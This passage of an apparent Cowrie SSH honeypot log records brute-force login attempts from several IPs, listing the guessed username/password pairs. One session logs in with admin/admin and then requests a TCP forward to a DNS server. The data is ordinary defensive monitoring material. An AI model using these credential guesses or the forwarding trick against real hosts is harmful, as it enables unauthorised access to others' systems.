f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:16.001209Z","src_ip":"45.137.172.116","session":"57468e1ea18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:16.418998Z","src_ip":"45.137.172.116","session":"57468e1ea18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:17.518349Z","src_ip":"45.137.172.116","session":"57468e1ea18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":62491,"dst_ip":"10.17.0.5","dst_port":22,"session":"4850f7254d42","protocol":"ssh","message":"New connection: 136.232.11.10:62491 (10.17.0.5:22) [session: 4850f7254d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:33.459800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:33.465145Z","src_ip":"136.232.11.10","session":"4850f7254d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:33.707618Z","src_ip":"136.232.11.10","session":"4850f7254d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manchester1","message":"login attempt [root/manchester1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:34.696238Z","src_ip":"136.232.11.10","session":"4850f7254d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:35.943257Z","src_ip":"136.232.11.10","session":"4850f7254d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":47494,"dst_ip":"10.17.0.5","dst_port":22,"session":"a35d55be22db","protocol":"ssh","message":"New connection: 202.51.214.99:47494 (10.17.0.5:22) [session: a35d55be22db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:41.083248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:41.087662Z","src_ip":"202.51.214.99","session":"a35d55be22db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:41.334906Z","src_ip":"202.51.214.99","session":"a35d55be22db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parola","message":"login attempt [root/parola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:42.342953Z","src_ip":"202.51.214.99","session":"a35d55be22db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:43.589899Z","src_ip":"202.51.214.99","session":"a35d55be22db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":35228,"dst_ip":"10.17.0.5","dst_port":22,"session":"081a26522f1c","protocol":"ssh","message":"New connection: 69.48.205.231:35228 (10.17.0.5:22) [session: 081a26522f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:55.854498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:55.859038Z","src_ip":"69.48.205.231","session":"081a26522f1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:55.900108Z","src_ip":"69.48.205.231","session":"081a26522f1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:56.094716Z","src_ip":"69.48.205.231","session":"081a26522f1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:57.138953Z","src_ip":"69.48.205.231","session":"081a26522f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":51628,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e2c4c8b7433","protocol":"ssh","message":"New connection: 45.137.172.116:51628 (10.17.0.5:22) [session: 4e2c4c8b7433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:26.358931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:26.363360Z","src_ip":"45.137.172.116","session":"4e2c4c8b7433","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:26.459791Z","src_ip":"45.137.172.116","session":"4e2c4c8b7433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maya","password":"maya","message":"login attempt [maya/maya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:26.874267Z","src_ip":"45.137.172.116","session":"4e2c4c8b7433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:27.974444Z","src_ip":"45.137.172.116","session":"4e2c4c8b7433","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":57198,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a1a8e64dd76","protocol":"ssh","message":"New connection: 87.251.64.176:57198 (10.17.0.5:22) [session: 8a1a8e64dd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:33.659681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:33.663956Z","src_ip":"87.251.64.176","session":"8a1a8e64dd76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:33.760277Z","src_ip":"87.251.64.176","session":"8a1a8e64dd76","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:34.049918Z","src_ip":"87.251.64.176","session":"8a1a8e64dd76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:34.149483Z","session":"8a1a8e64dd76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:34.247911Z","src_ip":"87.251.64.176","session":"8a1a8e64dd76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:34.346892Z","src_ip":"87.251.64.176","session":"8a1a8e64dd76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":59586,"dst_ip":"10.17.0.5","dst_port":22,"session":"392463aa7b78","protocol":"ssh","message":"New connection: 103.118.29.129:59586 (10.17.0.5:22) [session: 392463aa7b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:38.186250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:38.193851Z","src_ip":"103.118.29.129","session":"392463aa7b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:38.437745Z","src_ip":"103.118.29.129","session":"392463aa7b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft1234","message":"login attempt [minecraft/minecraft1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:39.444448Z","src_ip":"103.118.29.129","session":"392463aa7b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:19:40.689829Z","src_ip":"103.118.29.129","session":"392463aa7b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":43904,"dst_ip":"10.17.0.5","dst_port":22,"session":"0833116e898e","protocol":"ssh","message":"New connection: 202.51.214.99:43904 (10.17.0.5:22) [session: 0833116e898e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:02.442403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:02.448965Z","src_ip":"202.51.214.99","session":"0833116e898e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:02.688181Z","src_ip":"202.51.214.99","session":"0833116e898e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:03.669355Z","src_ip":"202.51.214.99","session":"0833116e898e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:04.911986Z","src_ip":"202.51.214.99","session":"0833116e898e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":51032,"dst_ip":"10.17.0.5","dst_port":22,"session":"d965489be8bc","protocol":"ssh","message":"New connection: 69.48.205.231:51032 (10.17.0.5:22) [session: d965489be8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:07.369847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:07.374842Z","src_ip":"69.48.205.231","session":"d965489be8bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:07.419925Z","src_ip":"69.48.205.231","session":"d965489be8bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wwww1234","message":"login attempt [root/wwww1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:07.617224Z","src_ip":"69.48.205.231","session":"d965489be8bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:20:08.664466Z","src_ip":"69.48.205.231","session":"d965489be8bc","protocol":"ssh"}
